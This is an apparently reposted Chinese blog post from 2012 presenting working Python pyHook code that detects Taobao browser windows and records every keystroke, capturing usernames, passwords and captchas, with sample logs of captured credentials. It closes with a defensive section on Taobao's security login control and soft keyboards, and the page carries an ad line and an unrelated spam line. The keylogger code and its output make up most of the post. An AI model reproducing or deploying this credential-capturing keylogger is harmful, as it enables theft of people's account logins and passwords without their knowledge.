<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                在昨天的文章[《Python:監控鍵盤輸入、鼠標操作,并將捕獲到的信息記錄到文件中》](http://blog.csdn.net/dyx1024/article/details/7311013)中,我們實現了將用戶輸入記錄到文件的功能,今天看看這一功能的實際應用。 ### 一、實現思路: 1、判斷當前用戶操作的窗口,如果窗口是淘寶網的頁面,則開始監控。 2、將用戶在淘寶上的所有輸入全部記錄下來,通常這些記錄中會包括用戶登陸時的用戶名、密碼,電話、郵箱等敏感信息。 ### 二、代碼實現: ~~~ #!/usr/bin/env python # -*- coding: utf-8 -*- import pythoncom import pyHook import time import logging import logging.config #日志配置文件名 LOG_FILENAME = 'hook_logging.conf' #日志語句提示信息 LOG_CONTENT_NAME = 'taobao_input_msg' def log_init(log_config_filename, logname): ''' Function:日志模塊初始化函數 Input:log_config_filename:日志配置文件名 lognmae:每條日志前的提示語句 Output: logger author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-02-13 ''' logging.config.fileConfig(log_config_filename) logger = logging.getLogger(logname) return logger def onMouseEvent(event): ''' Function:處理鼠標左鍵單擊事件,如果當前MSG中存放了信息, 將其寫入文件,因為有的用戶在輸入 完用戶名后,不是使用TAB鍵切換到密碼 框,而是通過鼠標切換到密碼輸入窗口這種情況應該屬于大多數網民的習慣, 所以此處要判斷是否通過鼠標切換了輸入窗口 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if len(MSG) != 0: ? ? ? hook_logger.info('current page:%s' % event.WindowName) ? ? ? hook_logger.error('information:%s' % MSG) MSG = '' return True def onKeyboardEvent(event): "處理鍵盤事件" ''' Function:處理鍵盤事件,如果當前窗口為TAOBAO頁面,剛開始監控并記錄用戶輸入 因為此時用戶可能準備輸入用戶名及密碼進行登陸,所以將用戶輸入的所有可見 的ascii字符記錄下來,此處要考慮用戶是否使用了TAB鍵或回車鍵來 結束輸入,此時要將信息記錄到日志中。 Input:even Output: Ture author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' global MSG if event.WindowName.decode('GBK').find(u"淘寶") != -1: if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key))) if (event.Ascii == 9) or (event.Ascii == 13): ? ? ? ? ? hook_logger.info('current page:%s' % event.WindowName) ? ? ? ? ? hook_logger.error('information:%s' % MSG) MSG = '' return True if __name__ == "__main__": ''' Function:獲取TAOBAO賬號及密碼 Input:NONE Output: NONE author: socrates blog:http://blog.csdn.net/dyx1024 date:2012-03-03 ''' #打開日志文件 #初始化日志系統 hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) MSG = '' #創建hook句柄 hm = pyHook.HookManager() #監控鼠標 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #監控鍵盤 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循環獲取消息 pythoncom.PumpMessages() ~~~ ### 三、測試 步驟: ?1、打開taobao頁面,輸入用戶名及密碼,并登陸,窗口截圖如下: ?![](https://box.kancloud.cn/2016-06-08_5757935768ad7.gif) 2、看看后臺日志文件taobao_log.log中的內容: ~~~ [2012-03-03 09:03:20,812 ?taobao_input_msg]INFO: ?ascii:115(S) [2012-03-03 09:03:21,155 ?taobao_input_msg]INFO: ?ascii:111(O) [2012-03-03 09:03:22,453 ?taobao_input_msg]INFO: ?ascii:99(C) [2012-03-03 09:03:23,046 ?taobao_input_msg]INFO: ?ascii:114(R) [2012-03-03 09:03:23,280 ?taobao_input_msg]INFO: ?ascii:97(A) [2012-03-03 09:03:23,608 ?taobao_input_msg]INFO: ?ascii:116(T) [2012-03-03 09:03:23,890 ?taobao_input_msg]INFO: ?ascii:101(E) [2012-03-03 09:03:24,828 ?taobao_input_msg]INFO: ?ascii:115(S) [2012-03-03 09:03:25,875 ?taobao_input_msg]INFO: ?ascii:64(2) [2012-03-03 09:03:26,921 ?taobao_input_msg]INFO: ?ascii:103(G) [2012-03-03 09:03:27,312 ?taobao_input_msg]INFO: ?ascii:109(M) [2012-03-03 09:03:27,515 ?taobao_input_msg]INFO: ?ascii:97(A) [2012-03-03 09:03:27,733 ?taobao_input_msg]INFO: ?ascii:105(I) [2012-03-03 09:03:27,953 ?taobao_input_msg]INFO: ?ascii:108(L) [2012-03-03 09:03:29,000 ?taobao_input_msg]INFO: ?ascii:46(Oem_Period) [2012-03-03 09:03:29,280 ?taobao_input_msg]INFO: ?ascii:99(C) [2012-03-03 09:03:29,358 ?taobao_input_msg]INFO: ?ascii:111(O) [2012-03-03 09:03:29,953 ?taobao_input_msg]INFO: ?ascii:109(M) [2012-03-03 09:03:30,390 ?taobao_input_msg]INFO: ?current page:淘寶網 - 淘我喜歡! - Google Chrome [2012-03-03 09:03:30,390 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com [2012-03-03 09:03:33,140 ?taobao_input_msg]INFO: ?ascii:109(M) [2012-03-03 09:03:33,467 ?taobao_input_msg]INFO: ?ascii:121(Y) [2012-03-03 09:03:34,358 ?taobao_input_msg]INFO: ?ascii:95(Oem_Minus) [2012-03-03 09:03:35,030 ?taobao_input_msg]INFO: ?ascii:112(P) [2012-03-03 09:03:35,328 ?taobao_input_msg]INFO: ?ascii:97(A) [2012-03-03 09:03:35,703 ?taobao_input_msg]INFO: ?ascii:115(S) [2012-03-03 09:03:35,875 ?taobao_input_msg]INFO: ?ascii:115(S) [2012-03-03 09:03:36,280 ?taobao_input_msg]INFO: ?ascii:119(W) [2012-03-03 09:03:36,733 ?taobao_input_msg]INFO: ?ascii:111(O) [2012-03-03 09:03:37,030 ?taobao_input_msg]INFO: ?ascii:114(R) [2012-03-03 09:03:37,421 ?taobao_input_msg]INFO: ?ascii:100(D) [2012-03-03 09:03:38,937 ?taobao_input_msg]INFO: ?ascii:64(2) [2012-03-03 09:03:40,015 ?taobao_input_msg]INFO: ?ascii:116(T) [2012-03-03 09:03:40,280 ?taobao_input_msg]INFO: ?ascii:97(A) [2012-03-03 09:03:40,500 ?taobao_input_msg]INFO: ?ascii:111(O) [2012-03-03 09:03:41,030 ?taobao_input_msg]INFO: ?ascii:98(B) [2012-03-03 09:03:41,265 ?taobao_input_msg]INFO: ?ascii:97(A) [2012-03-03 09:03:41,421 ?taobao_input_msg]INFO: ?ascii:111(O) [2012-03-03 09:03:43,405 ?taobao_input_msg]INFO: ?current page:None [2012-03-03 09:03:43,405 ?taobao_input_msg]ERROR: ?information:my_password@taobao [2012-03-03 09:03:45,765 ?taobao_input_msg]INFO: ?ascii:83(S) [2012-03-03 09:03:46,140 ?taobao_input_msg]INFO: ?ascii:75(K) [2012-03-03 09:03:47,000 ?taobao_input_msg]INFO: ?ascii:55(7) [2012-03-03 09:03:48,030 ?taobao_input_msg]INFO: ?ascii:87(W) [2012-03-03 09:03:52,233 ?taobao_input_msg]INFO: ?current page:None [2012-03-03 09:03:52,233 ?taobao_input_msg]ERROR: ?information:SK7W ~~~ 上面的日志中,我將用戶每次的按鍵用info級別保存下來,當用戶輸入完成后,將合并后的串以ERROR級別打印出來,如果你不需要輸入info級別,只需要修改日志配置文件設置打印級別高于info即可,記錄日志這塊的內容可見文章[《Python:日志模塊logging的應用》](http://blog.csdn.net/dyx1024/article/details/7250828)。之所以打印是為和合并后的串進行校驗,并且如果用戶輸入過程中出現錯誤,使用退格鍵刪除,可以通過ascii碼識別出,從日志中可以看到,有三個關鍵性信息: [2012-03-03 09:03:30,390 ?taobao_input_msg]ERROR: ?information:socrates@gmail.com [2012-03-03 09:03:43,405 ?taobao_input_msg]ERROR: ?information:my_password@taobao [2012-03-03 09:03:52,233 ?taobao_input_msg]ERROR: ?information:SK7W 以上三條ERROR日志分別對應了我輸入的用戶名、密碼(僅僅是個測試)、驗證碼。 四、我們應該怎么做? 從上面的實驗可以看出,如果有人在我們電腦中植入了這樣一個小程序,有可能會獲取到一些敏感數據,應該如何避免呢,淘寶其實已經想好了,就是在登錄時,只需要將“安全控件登陸”這個選項勾上,這樣鍵盤的輸入將不會被hook住。再次測試如下: 1、輸入不變,只是勾選“安全控件登陸”,如圖: ![](https://box.kancloud.cn/2016-06-08_5757935787aa3.gif) 看看這次的日志信息: ~~~ [2012-03-03 09:12:11,562 taobao_input_msg]INFO: ascii:115(S) [2012-03-03 09:12:12,187 taobao_input_msg]INFO: ascii:111(O) [2012-03-03 09:12:12,733 taobao_input_msg]INFO: ascii:99(C) [2012-03-03 09:12:13,217 taobao_input_msg]INFO: ascii:114(R) [2012-03-03 09:12:13,530 taobao_input_msg]INFO: ascii:97(A) [2012-03-03 09:12:13,890 taobao_input_msg]INFO: ascii:116(T) [2012-03-03 09:12:14,125 taobao_input_msg]INFO: ascii:101(E) [2012-03-03 09:12:14,390 taobao_input_msg]INFO: ascii:115(S) [2012-03-03 09:12:15,655 taobao_input_msg]INFO: ascii:64(2) [2012-03-03 09:12:16,375 taobao_input_msg]INFO: ascii:103(G) [2012-03-03 09:12:16,717 taobao_input_msg]INFO: ascii:109(M) [2012-03-03 09:12:16,796 taobao_input_msg]INFO: ascii:97(A) [2012-03-03 09:12:16,953 taobao_input_msg]INFO: ascii:105(I) [2012-03-03 09:12:17,155 taobao_input_msg]INFO: ascii:108(L) [2012-03-03 09:12:17,750 taobao_input_msg]INFO: ascii:46(Oem_Period) [2012-03-03 09:12:17,967 taobao_input_msg]INFO: ascii:99(C) [2012-03-03 09:12:18,078 taobao_input_msg]INFO: ascii:111(O) [2012-03-03 09:12:18,233 taobao_input_msg]INFO: ascii:109(M) [2012-03-03 09:12:18,671 taobao_input_msg]INFO: current page:淘寶網 - 淘我喜歡! - Windows Internet Explorer [2012-03-03 09:12:18,671 taobao_input_msg]ERROR: information:socrates@gmail.com [2012-03-03 09:12:30,530 taobao_input_msg]INFO: ascii:101(E) [2012-03-03 09:12:32,546 taobao_input_msg]INFO: ascii:54(6) [2012-03-03 09:12:33,717 taobao_input_msg]INFO: ascii:104(H) [2012-03-03 09:12:34,592 taobao_input_msg]INFO: ascii:56(8) [2012-03-03 09:12:40,828 taobao_input_msg]INFO: current page:None [2012-03-03 09:12:40,828 taobao_input_msg]ERROR: information:e6h8 ~~~ 可以看出,在密碼框中輸入的內容沒有被記錄下來。 ### 五、總結 從上面的實驗可以看出,登錄方式設計的重要性,如果對安全性考慮不足,這塊很容易被利用。對于用戶來說,在我們登錄一些涉及個人敏感數據的網站時,最好安裝上網站提供的安全插件,再者,在輸入時采用軟鍵盤等均可以避免輸入被監控。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看